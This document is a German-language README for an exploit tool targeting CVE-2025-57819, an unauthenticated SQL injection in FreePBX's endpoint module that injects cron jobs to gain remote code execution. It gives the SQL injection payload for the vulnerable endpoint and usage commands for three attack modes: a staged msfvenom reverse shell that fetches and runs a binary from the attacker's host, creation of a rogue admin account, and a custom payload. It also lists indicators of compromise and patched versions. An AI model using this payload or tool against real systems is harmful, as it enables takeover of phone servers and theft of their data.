CVE-2025-57819 — FreePBX Pre-Auth SQLi zu RCE

Ein All-in-One-Exploit für CVE-2025-57819, eine nicht authentifizierte SQL-Injection im Endpunktmodul von FreePBX, die über Cron-Job-Injection zu Remote Code Execution führt.

• CVSS: 9.8 (Kritisch) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CISA KEV: Hinzugefügt am 29. August 2025
• Betroffen: Sangoma FreePBX 15, 16, 17 mit Endpunktmodul < 15.0.66 / < 16.0.89 / < 17.0.3
• Behoben in: Endpunkt 15.0.66, 16.0.89, 17.0.3

Schwachstellenübersicht

FreePBX legt den Endpunkt admin/ajax.php?module=FreePBX\modules\endpoint\ajax offen, ohne eine Authentifizierung zu verlangen (CWE-288). Der Parameter brand wird ohne Bereinigung direkt in SQL-Abfragen übergeben (CWE-89), was einem Angreifer erlaubt, beliebige SQL-Anweisungen in die Datenbank asterisk einzuschleusen.

Angriffskette

[Unauthenticated HTTP request]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
        │
        ▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
        │
        ▼
Remote Code Execution

Exploit-Fähigkeiten

Dieser Exploit unterstützt drei Modi:

1. Gestaffelte Reverse Shell (Standard)

1. Erzeugt ein linux/x64/shell_reverse_tcp-Binary via msfvenom
2. Startet einen HTTP-Server, um das Binary bereitzustellen
3. Startet einen TCP-Listener für die Shell
4. Injiziert einen Cron-Job via SQLi, der das Binary herunterlädt und ausführt
5. Wenn der Cron ausgeführt wird, erhältst du eine interaktive Shell
6. Bereinigt den injizierten Cron-Job beim Beenden

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

Beispiel:

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

Dies verwendet Port 4452 für die Reverse Shell und 4453 für den HTTP-Staging-Server.

2. Erstellung eines Admin-Benutzers (--create-user)

Erstellt ein neues FreePBX-Administratorkonto via SQLi. Keine Reverse Shell, kein Rückruf, keine Binaries erforderlich.

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. Benutzerdefiniertes Payload (--payload <path>)

Verwende dein eigenes ELF-Binary anstelle der Generierung mit msfvenom.

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

Voraussetzungen

• Python 3.6+
• requests library (pip install requests)
• Für den gestaffelten Modus: Metasploit (msfvenom) oder ein benutzerdefiniertes Payload mit --payload
• Für den Modus --create-user: Nichts außer Python + requests

Funktionsweise

SQL-Injection-Vektor

Der anfällige Endpunkt ist:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

Der Parameter brand wird ohne Bereinigung in ein SQL-INSERT eingefügt. Der Exploit formuliert die Injektion wie folgt:

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

Das nachgestellte -- kommentiert den Rest der ursprünglichen Abfrage aus.

Cron-Ausführung

FreePBX verwendet das Asterisk-Cron-Subsystem. Cron-Jobs werden jede Minute überprüft. Wenn der Zeitplan des eingefügten Jobs (* * * * *) passt, wird der Befehl als Systembenutzer asterisk ausgeführt.

Bereinigung

Nach Ende der Sitzung (oder bei Timeout) sendet der Exploit ein DELETE-SQLi, um den injizierten Cron-Job aus cron_jobs zu entfernen.

Indikatoren für eine Kompromittierung

• Unerwartete Einträge in asterisk.cron_jobs mit zufälligen Modul-/Jobnamen
• Ausgehende HTTP-Anfragen vom FreePBX-Server an externe IPs auf hohen Ports
• Reverse-Shell-Verbindungen vom Benutzer asterisk
• Zufällige neue Admin-Konten in ampusers (falls --create-user-Modus)

Gegenmaßnahmen

Aktualisieren Sie das Endpunktmodul auf gepatchte Versionen:

• 15: >= 15.0.66
• 16: >= 16.0.89
• 17: >= 17.0.3

Referenzen

• NVD — CVE-2025-57819
• GitHub Security Advisory — GHSA-m42g-xg4c-5f3h
• CISA Known Exploited Vulnerabilities
• watchTowr Labs
• FreePBX Community Advisory

Haftungsausschluss

Diese Software wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.